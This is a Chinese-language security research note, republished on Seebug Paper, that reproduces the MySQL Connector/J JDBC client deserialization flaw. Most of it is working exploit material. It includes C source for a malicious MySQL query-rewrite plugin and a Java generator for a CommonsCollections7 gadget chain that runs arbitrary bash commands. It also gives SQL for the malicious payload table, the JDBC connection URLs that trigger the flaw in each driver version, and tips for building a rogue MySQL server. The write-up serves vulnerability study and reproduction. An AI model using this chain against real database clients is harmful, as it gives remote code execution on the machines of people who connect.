作者:沈沉舟
原文鏈接:http://scz.617.cn:8/network/202005262206.txt
背景介紹
2019年11月底Yang Zhang等人在BlackHat上有個議題,提到MySQL JDBC客戶端反序列 化漏洞,用到ServerStatusDiffInterceptor,參[1]。
2019年12月Welkin給出了部分細節,但當時未解決惡意服務端的組建問題,參[2]。
codeplutos利用修改過的MySQL插件成功組建惡意服務端,這個腦洞開得可以。與此 同時,他演示了另一條利用路徑,用到detectCustomCollations。需要指出,他的方 案原理同時適用于ServerStatusDiffInterceptor、detectCustomCollations,他只 以后者舉例而已。參[3]。
2020年4月fnmsd分析MySQL Connector/J各版本后給出大一統的總結,給出不同版本 所需URL,給了Python版惡意服務端,參[4]、[5]、[6]。
2020年5月我學習前幾位的大作,寫了這篇筆記。
學習思路
先將[1]、[2]、[3]、[4]、[5]、[6]全看了一遍,沒做實驗,只是看。對這個洞大概有點數,通 過JDBC建立到MySQL服務端的連接時,有幾個內置的SQL查詢語句被發出,其中兩個查 詢的結果集在客戶端被處理時會調用ObjectInputStream.readObject()進行反序列化。 通過控制結果集,可以在客戶端搞事,具體危害視客戶端擁有的Gadget環境而定。
這兩個查詢語句是:
- SHOW SESSION STATUS
- SHOW COLLATION
利用MySQL插件機制將這兩個查詢語句在服務端"重定向"成查詢惡意表,惡意表中某 字段存放惡意Object。
需要安裝MySQL,創建惡意表,編譯定制過的惡意MySQL插件。寫一個通用的JDBC客戶 端程序,用之訪問惡意服務端。用Wireshark抓包,基于抓包數據用Python實現簡版 惡意服務端,這樣可以避免陷入MySQL私有協議細節當中。
搭建測試環境
參看《惡意MySQL Server讀取MySQL Client端文件》
惡意MySQL插件
獲取MySQL 5.7.28源碼
鏈接如下所示:https://repo.mysql.com/yum/mysql-5.7-community/el/7/SRPMS/mysql-community-5.7.28-1.el7.src.rpm
在rewrite_example基礎上修改出evilreplace
$ vi evilreplace.cc
/ Copyright (c) 2015, Oracle and/or its affiliates. All rights reserved.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License, version 2.0,
as published by the Free Software Foundation.
This program is also distributed with certain software (including
but not limited to OpenSSL) that is licensed under separate terms,
as designated in a particular file or component or in included license
documentation. The authors of MySQL hereby grant you an additional
permission to link the program and your derivative works with the
separately licensed software that they have included with MySQL.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License, version 2.0, for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
02110-1301 USA */
#include <ctype.h>
#include <string.h>
#include <my_global.h>
#include <mysql/plugin.h>
#include <mysql/plugin_audit.h>
#include <mysql/service_mysql_alloc.h>
#include <my_thread.h> // my_thread_handle needed by mysql_memory.h
#include <mysql/psi/mysql_memory.h>
/* instrument the memory allocation */
#ifdef HAVE_PSI_INTERFACE
static PSI_memory_key key_memory_evilreplace;
static PSI_memory_info all_rewrite_memory[]=
{
{ &key_memory_evilreplace, "evilreplace", 0 }
};
static int plugin_init(MYSQL_PLUGIN)
{
const char* category= "sql";
int count;
count= array_elements(all_rewrite_memory);
mysql_memory_register(category, all_rewrite_memory, count);
return 0; /* success */
}
#else
#define plugin_init NULL
#define key_memory_evilreplace PSI_NOT_INSTRUMENTED
#endif /* HAVE_PSI_INTERFACE */
static int rewrite_lower(MYSQL_THD thd, mysql_event_class_t event_class,
const void *event)
{
if (event_class == MYSQL_AUDIT_PARSE_CLASS)
{
const struct mysql_event_parse *event_parse=
static_cast<const struct mysql_event_parse *>(event);
if (event_parse->event_subclass == MYSQL_AUDIT_PARSE_PREPARSE)
{
#if 0
size_t query_length= event_parse->query.length;
char *rewritten_query=
static_cast<char *>(my_malloc(key_memory_evilreplace,
query_length + 1, MYF(0)));
for (unsigned i= 0; i < query_length + 1; i++)
rewritten_query[i]= tolower(event_parse->query.str[i]);
event_parse->rewritten_query->str= rewritten_query;
event_parse->rewritten_query->length= query_length;
*((int *)event_parse->flags)|=
(int)MYSQL_AUDIT_PARSE_REWRITE_PLUGIN_QUERY_REWRITTEN;
#else
if
(
( strcmp( event_parse->query.str, "SHOW SESSION STATUS" ) == 0 )
||
( strcmp( event_parse->query.str, "SHOW COLLATION" ) == 0 )
)
{
char evilsql[] = "select evil_1,evil_2,evil_3 from evildb.eviltable limit 1;";
char *rewritten_query = static_cast<char *>
(
my_malloc
(
key_memory_evilreplace,
strlen( evilsql ) + 1,
MYF(0)
)
);
strcpy( rewritten_query, evilsql );
event_parse->rewritten_query->str = rewritten_query;
event_parse->rewritten_query->length = strlen( evilsql ) + 1;
*((int *)event_parse->flags) |= (int)MYSQL_AUDIT_PARSE_REWRITE_PLUGIN_QUERY_REWRITTEN;
}
#endif
}
}
return 0;
}
/* Audit plugin descriptor */
static struct st_mysql_audit evilreplace_descriptor=
{
MYSQL_AUDIT_INTERFACE_VERSION, /* interface version */
NULL, /* release_thd() */
rewrite_lower, /* event_notify() */
{ 0,
0,
(unsigned long) MYSQL_AUDIT_PARSE_ALL, } /* class mask */
};
/* Plugin descriptor */
mysql_declare_plugin(audit_log)
{
MYSQL_AUDIT_PLUGIN, /* plugin type */
&evilreplace_descriptor, /* type specific descriptor */
"evilreplace", /* plugin name */
"Oracle", /* author */
"An example of a query rewrite"
" plugin that rewrites all queries"
" to lower case", /* description */
PLUGIN_LICENSE_GPL, /* license */
plugin_init, /* plugin initializer */
NULL, /* plugin deinitializer */
0x0002, /* version */
NULL, /* status variables */
NULL, /* system variables */
NULL, /* reserverd */
0 /* flags */
}
mysql_declare_plugin_end;
參考[3],codeplutos介紹了Ubuntu 16.04下的MySQL插件編譯方案。各發行版的編譯過 程差別較大,RedHat 7.6上明顯不同,建議先搞清楚如何編譯MySQL源碼,再來編譯 單個插件。
編譯:
/usr/bin/c++ -DHAVE_CONFIG_H -DHAVE_LIBEVENT2 -DMYSQL_DYNAMIC_PLUGIN -D_FILE_OFFSET_BITS=64 \
-D_GNU_SOURCE -Devilreplace_EXPORTS -Wall -Wextra -Wformat-security -Wvla -Woverloaded-virtual \
-Wno-unused-parameter -O3 -g -fabi-version=2 -fno-omit-frame-pointer -fno-strict-aliasing -DDBUG_OFF -fPIC \
-I/<path>/mysql-5.7.28/include \
-I/<path>/mysql-5.7.28/extra/rapidjson/include \
-I/<path>/mysql-5.7.28/libbinlogevents/include \
-I/<path>/mysql-5.7.28/libbinlogevents/export \
-isystem /<path>/mysql-5.7.28/zlib \
-I/<path>/mysql-5.7.28/sql \
-I/<path>/mysql-5.7.28/sql/auth \
-I/<path>/mysql-5.7.28/regex \
-o evilreplace.cc.o \
-c evilreplace.cc
鏈接:
/usr/bin/c++ -fPIC -Wall -Wextra -Wformat-security -Wvla -Woverloaded-virtual -Wno-unused-parameter \
-O3 -g -fabi-version=2 -fno-omit-frame-pointer -fno-strict-aliasing -DDBUG_OFF \
-fPIC -shared -Wl,-soname,evilreplace.so -o evilreplace.so \
evilreplace.cc.o -lpthread \
/<path>/libmysqlservices.a -lpthread
測試rewriter插件
rewriter.so是自帶的插件,不需要源碼編譯。
安裝rewriter.so
查看:/usr/share/mysql/install_rewriter.sql
除了安裝rewriter.so,還涉及輔助表和存儲過程的創建。
mysql> source /usr/share/mysql/install_rewriter.sql
這會多出query_rewrite庫、query_rewrite.rewrite_rules表。
mysql> show plugins;
| Name | Status | Type | Library | License |
|---|---|---|---|---|
| Rewriter | ACTIVE | AUDIT | rewriter.so | GPL |
mysql> SHOW GLOBAL VARIABLES LIKE 'rewriter_enabled';
| Variable_name | Value |
|---|---|
| rewriter_enabled | ON |
在服務端替換SQL查詢語句
向query_rewrite.rewrite_rules表中插入替換規則:
mysql> insert into query_rewrite.rewrite_rules(pattern, replacement) values('select line from sczdb.SczTable', 'select line from sczdb.scztable limit 1');
調用存儲過程刷新,使之熱生效:
mysql> call query_rewrite.flush_rewrite_rules();
測試替換規則:
mysql> select line from sczdb.SczTable;

卸載rewriter.so
mysql> source /usr/share/mysql/uninstall_rewriter.sql
只有退出當前客戶端才徹底卸載rewriter插件,否則其仍在生效中。
rewriter插件的局限性
清空表,二選一,推薦后者:
- delete from query_rewrite.rewrite_rules;
- truncate table query_rewrite.rewrite_rules;
mysql> insert into query_rewrite.rewrite_rules(pattern, replacement) values('SHOW SESSION STATUS', 'select * from evildb.eviltable');
mysql> select * from query_rewrite.rewrite_rules;
| id | pattern | pattern_database | replacement | enabled | message | pattern_digest | normalized_pattern |
|---|---|---|---|---|---|---|---|
| 1 | SHOW SESSION STATUS | NULL | select * from evildb.eviltable | YES | NULL | NULL | NULL |
- mysql> call query_rewrite.flush_rewrite_rules();
- ERROR 1644 (45000): Loading of some rule(s) failed.
調用存儲過程刷新時意外失敗,查看失敗原因:
mysql> select message from query_rewrite.rewrite_rules;

pattern必須是select語句,show語句不行。
據說5.7的pattern只支持select,8.0支持insert、update、delete,未實測驗證。 難怪codeplutos要修改rewrite_example.cc。
漏洞相關的SQL查詢語句
SHOW SESSION STATUS
mysql> help SHOW
...
SHOW COLLATION [like_or_where]
...
SHOW [GLOBAL | SESSION] STATUS [like_or_where]
...
If the syntax for a given SHOW statement includes a LIKE 'pattern'
part, 'pattern' is a string that can contain the SQL % and _ wildcard
characters. The pattern is useful for restricting statement output to
matching values.
...
URL: https://dev.mysql.com/doc/refman/5.7/en/show.html
mysql> help SHOW STATUS
...
URL:https://dev.mysql.com/doc/refman/5.7/en/show-status.html
"SHOW SESSION STATUS"訪問INFORMATION_SCHEMA.SESSION_STATUS表。參[2],作者 說訪問INFORMATION_SCHEMA.SESSION_VARIABLES表,他應該說錯了。
查看INFORMATION_SCHEMA.SESSION_STATUS表結構:
mysql> select table_schema,table_name,column_name,column_type from information_schema.columns where table_name='SESSION_STATUS';
| table_schema | table_name | column_name | column_type |
|---|---|---|---|
| information_schema | SESSION_STATUS | VARIABLE_NAME | varchar(64) |
| information_schema | SESSION_STATUS | VARIABLE_VALUE | varchar(1024) |
直接訪問INFORMATION_SCHEMA.SESSION_STATUS表缺省會失敗:
mysql> select VARIABLE_NAME,VARIABLE_VALUE from INFORMATION_SCHEMA.SESSION_STATUS limit 10;
ERROR 3167 (HY000): The 'INFORMATION_SCHEMA.SESSION_STATUS' feature is disabled; see the documentation for 'show_compatibility_56'
需要打開一個開關:
mysql> set @@global.show_compatibility_56=ON;
mysql> select * from INFORMATION_SCHEMA.SESSION_STATUS limit 10; mysql> select VARIABLE_NAME,VARIABLE_VALUE from INFORMATION_SCHEMA.SESSION_STATUS limit 10;
| VARIABLE_NAME | VARIABLE_VALUE |
|---|---|
| ABORTED_CLIENTS | 1 |
| ABORTED_CONNECTS | 0 |
| BINLOG_CACHE_DISK_USE | 0 |
| BINLOG_CACHE_USE | 0 |
| BINLOG_STMT_CACHE_DISK_USE | 0 |
| BINLOG_STMT_CACHE_USE | 0 |
| BYTES_RECEIVED | 2809 |
| BYTES_SENT | 11620 |
| COM_ADMIN_COMMANDS | 0 |
| COM_ASSIGN_TO_KEYCACHE | 0 |
SHOW COLLATION
mysql> help SHOW COLLATION;
...
URL: https://dev.mysql.com/doc/refman/5.7/en/show-collation.html
mysql> SHOW COLLATION WHERE Charset='latin1';
| Collation | Charset | Id | Default | Compiled | Sortlen |
|---|---|---|---|---|---|
| latin1_german1_ci | latin1 | 5 | Yes | 1 | |
| latin1_swedish_ci | latin1 | 8 | Yes | Yes | 1 |
| latin1_danish_ci | latin1 | 15 | Yes | 1 | |
| latin1_german2_ci | latin1 | 31 | Yes | 2 | |
| latin1_bin | latin1 | 47 | Yes | 1 | |
| latin1_general_ci | latin1 | 48 | Yes | 1 | |
| latin1_general_cs | latin1 | 49 | Yes | 1 | |
| latin1_spanish_ci | latin1 | 94 | Yes | 1 |
"SHOW COLLATION"訪問INFORMATION_SCHEMA.COLLATIONS表。
查看INFORMATION_SCHEMA.COLLATIONS表結構:
mysql> select table_schema,table_name,column_name,column_type from information_schema.columns where table_name='COLLATIONS';
| table_schema | table_name | column_name | column_type |
|---|---|---|---|
| information_schema | COLLATIONS | COLLATION_NAME | varchar(32) |
| information_schema | COLLATIONS | CHARACTER_SET_NAME | varchar(32) |
| information_schema | COLLATIONS | ID | bigint(11) |
| information_schema | COLLATIONS | IS_DEFAULT | varchar(3) |
| information_schema | COLLATIONS | IS_COMPILED | varchar(3) |
| information_schema | COLLATIONS | SORTLEN | bigint(3) |
可以直接訪問INFORMATION_SCHEMA.COLLATIONS表,與show_compatibility_56無關。
mysql> show variables like 'show_compatibility_56';
| Variable_name | Value |
|---|---|
| show_compatibility_56 | OFF |
mysql> select * from INFORMATION_SCHEMA.COLLATIONS limit 5;
| COLLATION_NAME | CHARACTER_SET_NAME | ID | IS_DEFAULT | IS_COMPILED | SORTLE |
|---|---|---|---|---|---|
| big5_chinese_ci | big5 | 1 | Yes | Yes | 1 |
| big5_bin | big5 | 84 | Yes | 1 | |
| dec8_swedish_ci | dec8 | 3 | Yes | Yes | 1 |
| dec8_bin | dec8 | 69 | Yes | 1 | |
| cp850_general_ci | cp850 | 4 | Yes | Yes | 1 |
復現漏洞
GenerateCommonsCollections7.java
/*
* javac -encoding GBK -g -cp "commons-collections-3.1.jar" GenerateCommonsCollections7.java
* java -cp "commons-collections-3.1.jar:." GenerateCommonsCollections7 "/bin/touch /tmp/scz_is_here" /tmp/out.bin
*/
import java.io.*;
import java.util.*;
import java.lang.reflect.*;
import javax.naming.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
public class GenerateCommonsCollections7
{
/*
* ysoserial/CommonsCollections7
*/
@SuppressWarnings("unchecked")
private static Object getObject ( String cmd ) throws Exception
{
Transformer[] tarray = new Transformer[]
{
new ConstantTransformer( Runtime.class ),
new InvokerTransformer
(
"getMethod",
new Class[]
{
String.class,
Class[].class
},
new Object[]
{
"getRuntime",
new Class[0]
}
),
new InvokerTransformer
(
"invoke",
new Class[]
{
Object.class,
Object[].class
},
new Object[]
{
null,
new Object[0]
}
),
new InvokerTransformer
(
"exec",
new Class[]
{
String[].class
},
new Object[]
{
new String[]
{
"/bin/bash",
"-c",
cmd
}
}
)
};
Transformer tchain = new ChainedTransformer( new Transformer[0] );
Map normalMap_0 = new HashMap();
Map normalMap_1 = new HashMap();
Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain );
Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain );
lazyMap_0.put( "scz", "same" );
lazyMap_1.put( "tDz", "same" );
Hashtable ht = new Hashtable();
ht.put( lazyMap_0, "value_0" );
ht.put( lazyMap_1, "value_1" );
lazyMap_1.remove( "scz" );
Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" );
f.setAccessible( true );
f.set( tchain, tarray );
return( ht );
}
public static void main ( String[] argv ) throws Exception
{
String cmd = argv[0];
String out = argv[1];
Object obj = getObject( cmd );
FileOutputStream fos = new FileOutputStream( out );
ObjectOutputStream oos = new ObjectOutputStream( fos );
oos.writeObject( obj );
oos.close();
fos.close();
}
}
java -cp "commons-collections-3.1.jar:." GenerateCommonsCollections7 "/bin/touch /tmp/scz_is_here" /tmp/out.bin
xxd -p -c 1000000 /tmp/out.bin
輸出形如:
aced00057372...3178
創建惡意表
DROP TABLE IF EXISTS evildb.eviltable;
DROP DATABASE IF EXISTS evildb;
CREATE DATABASE IF NOT EXISTS evildb;
CREATE TABLE IF NOT EXISTS evildb.eviltable
(
evil_1 int(5),
evil_2 blob,
evil_3 int(5)
);
set @obj=0xaced00057372...3178;
INSERT INTO evildb.eviltable VALUES (1, @obj, 3);
UPDATE evildb.eviltable SET evil_1=1, evil_2=@obj, evil_3=3;
select lower(hex(evil_2)) from evildb.eviltable;
SHOW GRANTS FOR root;
GRANT ALL ON evildb.eviltable TO 'root'@'%';
REVOKE ALL ON evildb.eviltable FROM 'root'@'%';
evil_1、evil_3也可以用blob類型,填充同樣的@obj,觸發點略有差異。上面演示的 惡意表是最小集,通吃。
用evilreplace插件改變SQL查詢語句
用evilreplace插件將來自客戶端的:
- SHOW SESSION STATUS
- SHOW COLLATION
替換成:select evil_1,evil_2,evil_3 from evildb.eviltable limit 1;
參[3],這是codeplutos的思路,很有想像力,他用了自編譯rewrite_example.so。
INSTALL PLUGIN evilreplace SONAME 'evilreplace.so';
- SHOW SESSION STATUS;
- SHOW COLLATION;
- UNINSTALL PLUGIN evilreplace;
JDBCClient.java
/*
* javac -encoding GBK -g JDBCClient.java
*/
import java.io.*;
import java.sql.*;
public class JDBCClient
{
public static void main ( String[] argv ) throws Exception
{
String url = argv[0];
Connection conn = DriverManager.getConnection( url );
}
}
JDBCClient.java無需顯式代碼:
Class.forName( "com.mysql.cj.jdbc.Driver" );
MySQL Connector/J 各版本所需URL(ServerStatusDiffInterceptor)
參[4]、[5]、[6],fnmsd分析了各種版本所需URL。
8.x
java \
-cp "mysql-connector-java-8.0.14.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"
簡化版調用關系
DriverManager.getConnection // 8u232+8.0.14
DriverManager.getConnection // DriverManager:270
NonRegisteringDriver.connect // DriverManager:664
ConnectionImpl.getInstance // NonRegisteringDriver:199
ConnectionImpl.<init> // ConnectionImpl:240
ConnectionImpl.initializeSafeQueryInterceptors // ConnectionImpl:448
ConnectionImpl.createNewIO // ConnectionImpl:455
ConnectionImpl.connectOneTryOnly // ConnectionImpl:825
ConnectionImpl.initializePropsFromServer // ConnectionImpl:966
ConnectionImpl.handleAutoCommitDefaults // ConnectionImpl:1327
ConnectionImpl.setAutoCommit // ConnectionImpl:1382
NativeSession.execSQL // ConnectionImpl:2064
// 查詢語句"SET autocommit=1"
NativeProtocol.sendQueryString // NativeSession:1154
NativeProtocol.sendQueryPacket // NativeProtocol:921
if (this.queryInterceptors != null) // NativeProtocol:969
NativeProtocol.invokeQueryInterceptorsPre // NativeProtocol:970
NoSubInterceptorWrapper.preProcess // NativeProtocol:1144
ServerStatusDiffInterceptor.preProcess
// NoSubInterceptorWrapper:76
ServerStatusDiffInterceptor.populateMapWithSessionStatusValues
// ServerStatusDiffInterceptor:105
rs = stmt.executeQuery("SHOW SESSION STATUS")
// ServerStatusDiffInterceptor:86
// 自動提交SQL查詢
ResultSetUtil.resultSetToMap // ServerStatusDiffInterceptor:87
ResultSetImpl.getObject // ResultSetUtil:46
// mappedValues.put(rs.getObject(1), rs.getObject(2))
// 處理結果集中第1、2列
if ((field.isBinary()) || (field.isBlob()))
// ResultSetImpl:1314
byte[] data = getBytes(columnIndex)
// ResultSetImpl:1315
if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue())
// ResultSetImpl:1317
// 要求autoDeserialize等于true
ObjectInputStream.readObject // ResultSetImpl:1326
// obj = objIn.readObject();
Hashtable.readObject // ysoserial/CommonsCollections7
Hashtable.reconstitutionPut
AbstractMapDecorator.equals
AbstractMap.equals
LazyMap.get // 此處開始LazyMap利用鏈
ChainedTransformer.transform
InvokerTransformer.transform
Runtime.exec
if (this.queryInterceptors != null) // NativeProtocol:1109
NativeProtocol.invokeQueryInterceptorsPost
// NativeProtocol:1110
mysql-connector-java-8.0.14.pcap
請自行抓包,此處略
5.2) 6.x
queryInterceptors => statementInterceptors
java \
-cp "mysql-connector-java-6.0.3.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"
5.2.2) mysql-connector-java-6.0.3.pcap
請自行抓包,此處略
5.3) 5.1.11及以上版本
com.mysql.cj. => com.mysql.
java \
-cp "mysql-connector-java-5.1.40.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor"
5.3.2) mysql-connector-java-5.1.40.pcap
請自行抓包,此處略
6) MySQL Connector/J 各版本所需URL(detectCustomCollations)
參[3],觸發方式是codeplutos提供的。重點看這個函數:
com.mysql.jdbc.ConnectionImpl.buildCollationMapping()
參[4]、[5]、[6],fnmsd分析了各種版本所需URL。
6.1) 5.1.29-5.1.40
java \
-cp "mysql-connector-java-5.1.40.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true&detectCustomCollations=true"
會拋異常,但惡意代碼已被執行。
6.1.1) 簡化版調用關系
DriverManager.getConnection // 8u232+5.1.40
DriverManager.getConnection // DriverManager:270
NonRegisteringDriver.connect // DriverManager:664
ConnectionImpl.getInstance // NonRegisteringDriver:328
Util.handleNewInstance // ConnectionImpl:410
Constructor.newInstance // Util:425
JDBC4Connection.<init>
ConnectionImpl.<init> // JDBC4Connection:47
ConnectionImpl.initializeSafeStatementInterceptors // ConnectionImpl:805
ConnectionImpl.createNewIO // ConnectionImpl:806
ConnectionImpl.connectOneTryOnly // ConnectionImpl:2083
ConnectionImpl.initializePropsFromServer // ConnectionImpl:2297
if (versionMeetsMinimum(3, 21, 22)) // ConnectionImpl:3282
ConnectionImpl.buildCollationMapping // ConnectionImpl:3291
if ((versionMeetsMinimum(4, 1, 0)) && (getDetectCustomCollations()))
// ConnectionImpl:944
// 5.1.28版只檢查版本號,未檢查detectCustomCollations屬性
results = stmt.executeQuery("SHOW COLLATION")
// ConnectionImpl:957
// 自動提交SQL查詢
if (versionMeetsMinimum(5, 0, 0)) // ConnectionImpl:958
Util.resultSetToMap // ConnectionImpl:959
// Util.resultSetToMap(sortedCollationMap, results, 3, 2)
// 處理結果集中第3、2列
ResultSetImpl.getObject // Util:474
// mappedValues.put(rs.getObject(key), rs.getObject(value))
ResultSetImpl.getObjectDeserializingIfNeeded
// ResultSetImpl:4544
byte[] data = getBytes(columnIndex) // ResultSetImpl:4568
ObjectInputStream.readObject // ResultSetImpl:4579
// obj = objIn.readObject()
Hashtable.readObject // ysoserial/CommonsCollections7
Hashtable.reconstitutionPut
AbstractMapDecorator.equals
AbstractMap.equals
LazyMap.get // 此處開始LazyMap利用鏈
ChainedTransformer.transform
InvokerTransformer.transform
Runtime.exec
6.1.2) mysql-connector-java-5.1.40_d.pcap
請自行抓包,此處略
6.2) 5.1.19-5.1.28
不需要指定"detectCustomCollations=true"
java \ -cp "mysql-connector-java-5.1.19.jar:commons-collections-3.1.jar:." \ JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\ autoDeserialize=true"
6.2.2) mysql-connector-java-5.1.19_d.pcap
請自行抓包,此處略
7) Python版惡意服務端
7.1) fnmsd的實現
https://github.com/fnmsd/MySQL_Fake_Server他這個實現同時支持ServerStatusDiffInterceptor、detectCustomCollations,還 支持"惡意MySQL Server讀取MySQL Client端文件",只需要Python3。
他在"踩過的坑"里寫了一些值得注意的點,有興趣者可以看他的源碼。
7.2) 其他思路
fnmsd的實現,功能完備。如果只是想搞標題所說漏洞,我說個別的思路。可以基于 Gifts版本實現反序列化惡意服務端:https://github.com/Gifts/Rogue-MySql-Server
ServerStatusDiffInterceptor適用范圍包含detectCustomCollations適用范圍,為 了減少麻煩,可以只支持ServerStatusDiffInterceptor。具體來說,就是只特殊響 應"SHOW SESSION STATUS",不特殊響應"SHOW COLLATION"。
基于三次抓包組織響應報文:
mysql-connector-java-5.1.40.pcap
mysql-connector-java-6.0.3.pcap
mysql-connector-java-8.0.14.pcap
要點如下:
5.1.11及以上版本
6.x
特殊響應"SHOW SESSION STATUS",然后必須特殊響應隨后而來的
"SHOW WARNINGS"。
8.x
按抓包所示響應初始查詢:
/* mysql-connector-java-8.0.14 (Revision: 36534fa273b4d7824a8668ca685465cf8eaeadd9) */SELECT ...
然后按抓包所示響應隨后而來的"SHOW WARNINGS"。
特殊響應"SHOW SESSION STATUS",然后必須特殊響應隨后而來的
"SHOW WARNINGS"。
這種搞法的好處是不用特別理解MySQL私有協議,fnmsd"踩過的坑"你都不會碰上。
十多年前我們按協議規范組織SMB報文時,有天看到某人在PoC里用了一個變量名,叫 sendcode,他實際是把Ethereal抓包看到數據直接投放出來。當時我們很震驚,不是 佩服得震驚。后來覺得某些場景下這樣干,也沒什么可鄙視的。
基于三次抓包組織響應報文的思路,跟sendcode異曲同工,比你想像得要通用。
當然,如果不是特別好奇,還是用fnmsd的實現吧。
參考鏈接
-
https://github.com/codeplutos/MySQL-JDBC-Deserialization-Payload
-
https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-reference-jdbc-url-format.html
-
https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-reference-configuration-properties.html
-
https://dev.mysql.com/doc/internals/en/com-query-response.html
-
https://dev.mysql.com/doc/internals/en/binary-protocol-value.html
-
https://dev.mysql.com/doc/internals/en/protocoltext-resultset.html
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1227/
暫無評論